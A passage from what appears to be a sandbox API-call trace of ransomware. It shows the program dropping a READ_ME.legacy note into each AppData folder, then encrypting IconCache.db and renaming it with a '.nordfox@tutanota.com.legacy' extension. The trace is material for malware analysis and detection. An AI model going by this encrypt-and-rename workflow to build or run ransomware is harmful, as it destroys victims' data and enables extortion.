hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0117.409] SetLastError (dwErrCode=0x0) [0117.409] GetLastError () returned 0x0 [0117.409] SetLastError (dwErrCode=0x0) [0117.409] SetLastError (dwErrCode=0x0) [0117.409] SetLastError (dwErrCode=0x0) [0117.409] GetLastError () returned 0x0 [0117.409] SetLastError (dwErrCode=0x0) [0117.410] GetLastError () returned 0x0 [0117.410] SetLastError (dwErrCode=0x0) [0117.410] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.410] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.411] CloseHandle (hObject=0x6a0) returned 1 [0117.411] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Packages", cAlternateFileName="")) returned 1 [0117.411] SetLastError (dwErrCode=0x0) [0117.411] GetLastError () returned 0x0 [0117.411] SetLastError (dwErrCode=0x0) [0117.412] SetLastError (dwErrCode=0x0) [0117.412] SetLastError (dwErrCode=0x0) [0117.412] GetLastError () returned 0x0 [0117.412] SetLastError (dwErrCode=0x0) [0117.412] GetLastError () returned 0x0 [0117.412] SetLastError (dwErrCode=0x0) [0117.412] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.413] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.414] CloseHandle (hObject=0x6a0) returned 1 [0117.414] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0117.414] SetLastError (dwErrCode=0x0) [0117.414] GetLastError () returned 0x0 [0117.414] SetLastError (dwErrCode=0x0) [0117.414] SetLastError (dwErrCode=0x0) [0117.414] SetLastError (dwErrCode=0x0) [0117.414] GetLastError () returned 0x0 [0117.414] SetLastError (dwErrCode=0x0) [0117.414] GetLastError () returned 0x0 [0117.415] SetLastError (dwErrCode=0x0) [0117.415] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\PeerDistRepub\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\peerdistrepub\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.415] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.417] CloseHandle (hObject=0x6a0) returned 1 [0117.417] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0117.417] SetLastError (dwErrCode=0x0) [0117.417] GetLastError () returned 0x0 [0117.417] SetLastError (dwErrCode=0x0) [0117.417] SetLastError (dwErrCode=0x0) [0117.417] SetLastError (dwErrCode=0x0) [0117.417] GetLastError () returned 0x0 [0117.417] SetLastError (dwErrCode=0x0) [0117.417] GetLastError () returned 0x0 [0117.417] SetLastError (dwErrCode=0x0) [0117.417] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.419] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.420] CloseHandle (hObject=0x6a0) returned 1 [0117.420] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3064ca9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3064ca9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd308aed4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0117.420] SetLastError (dwErrCode=0x0) [0117.420] GetLastError () returned 0x0 [0117.420] SetLastError (dwErrCode=0x0) [0117.420] SetLastError (dwErrCode=0x0) [0117.420] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc951b918, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc951b918, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0117.420] SetLastError (dwErrCode=0x0) [0117.420] GetLastError () returned 0x0 [0117.420] SetLastError (dwErrCode=0x0) [0117.420] GetLastError () returned 0x0 [0117.420] SetLastError (dwErrCode=0x0) [0117.421] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0117.421] SetLastError (dwErrCode=0x0) [0117.421] GetLastError () returned 0x0 [0117.421] SetLastError (dwErrCode=0x0) [0117.421] SetLastError (dwErrCode=0x0) [0117.421] SetLastError (dwErrCode=0x0) [0117.421] GetLastError () returned 0x0 [0117.421] SetLastError (dwErrCode=0x0) [0117.421] SetLastError (dwErrCode=0x0) [0117.421] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temporary Internet Files\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temporary internet files\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.422] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.424] CloseHandle (hObject=0x6a0) returned 1 [0117.424] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0117.424] SetLastError (dwErrCode=0x0) [0117.424] GetLastError () returned 0x0 [0117.424] SetLastError (dwErrCode=0x0) [0117.424] SetLastError (dwErrCode=0x0) [0117.424] SetLastError (dwErrCode=0x0) [0117.424] GetLastError () returned 0x0 [0117.424] SetLastError (dwErrCode=0x0) [0117.424] GetLastError () returned 0x0 [0117.424] SetLastError (dwErrCode=0x0) [0117.424] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.425] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.426] CloseHandle (hObject=0x6a0) returned 1 [0117.426] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UNP", cAlternateFileName="")) returned 1 [0117.426] SetLastError (dwErrCode=0x0) [0117.426] GetLastError () returned 0x0 [0117.426] SetLastError (dwErrCode=0x0) [0117.426] GetLastError () returned 0x0 [0117.426] SetLastError (dwErrCode=0x0) [0117.427] SetLastError (dwErrCode=0x0) [0117.427] GetLastError () returned 0x0 [0117.427] SetLastError (dwErrCode=0x0) [0117.427] SetLastError (dwErrCode=0x0) [0117.427] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\unp\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.428] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.429] CloseHandle (hObject=0x6a0) returned 1 [0117.429] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0117.429] SetLastError (dwErrCode=0x0) [0117.429] GetLastError () returned 0x0 [0117.429] SetLastError (dwErrCode=0x0) [0117.430] SetLastError (dwErrCode=0x0) [0117.430] SetLastError (dwErrCode=0x0) [0117.430] GetLastError () returned 0x0 [0117.430] SetLastError (dwErrCode=0x0) [0117.430] GetLastError () returned 0x0 [0117.430] SetLastError (dwErrCode=0x0) [0117.430] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\VirtualStore\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\virtualstore\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.430] WriteFile (in: hFile=0x6a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.431] CloseHandle (hObject=0x6a0) returned 1 [0117.432] FindNextFileW (in: hFindFile=0x566e98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0117.432] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.432] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.432] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", dwFileAttributes=0x80) returned 1 [0117.432] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a0 [0117.433] GetFileSizeEx (in: hFile=0x6a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69904) returned 1 [0117.433] ReadFile (in: hFile=0x6a0, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x11110, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11110, lpOverlapped=0x0) returned 1 [0117.437] SetFilePointer (in: hFile=0x6a0, lDistanceToMove=-69904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.437] WriteFile (in: hFile=0x6a0, lpBuffer=0x2e20f20*, nNumberOfBytesToWrite=0x11110, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11110, lpOverlapped=0x0) returned 1 [0117.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0117.437] SetFilePointer (in: hFile=0x6a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11110 [0117.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.438] WriteFile (in: hFile=0x6a0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.438] WriteFile (in: hFile=0x6a0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.438] CloseHandle (hObject=0x6a0) returned 1 [0117.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.438] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0117.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0117.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0117.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0117.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0117.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0117.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0117.446] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd30d5758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567058 [0117.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0117.447] GetLastError () returned 0x0 [0117.447] SetLastError (dwErrCode=0x0) [0117.447] GetLastError () returned 0x0 [0117.447] SetLastError (dwErrCode=0x0) [0117.447] GetLastError () returned 0x0 [0117.447] SetLastError (dwErrCode=0x0) [0117.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0117.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0117.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0117.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567018 [0117.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567018 | out: hHeap=0x520000) returned 1 [0117.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0117.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0117.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0117.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.448] FindNextFileW (in: hFindFile=0x567058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd30d5758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0117.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0117.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0117.448] GetLastError () returned 0x0 [0117.448] SetLastError (dwErrCode=0x0) [0117.448] GetLastError () returned 0x0 [0117.448] SetLastError (dwErrCode=0x0) [0117.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0117.448] GetLastError () returned 0x0 [0117.448] SetLastError (dwErrCode=0x0) [0117.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0117.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0117.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0117.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0117.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567198 [0117.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567198 | out: hHeap=0x520000) returned 1 [0117.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0117.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0117.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0117.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0117.449] FindNextFileW (in: hFindFile=0x567058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0117.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0117.449] GetLastError () returned 0x0 [0117.449] SetLastError (dwErrCode=0x0) [0117.449] GetLastError () returned 0x0 [0117.449] SetLastError (dwErrCode=0x0) [0117.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0117.450] GetLastError () returned 0x0 [0117.450] SetLastError (dwErrCode=0x0) [0117.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0117.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0117.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0117.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0117.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0117.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0117.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0117.450] GetLastError () returned 0x0 [0117.450] SetLastError (dwErrCode=0x0) [0117.450] GetLastError () returned 0x0 [0117.450] SetLastError (dwErrCode=0x0) [0117.450] GetLastError () returned 0x0 [0117.451] SetLastError (dwErrCode=0x0) [0117.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0117.451] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0117.452] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0117.452] WriteFile (in: hFile=0x6a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.453] 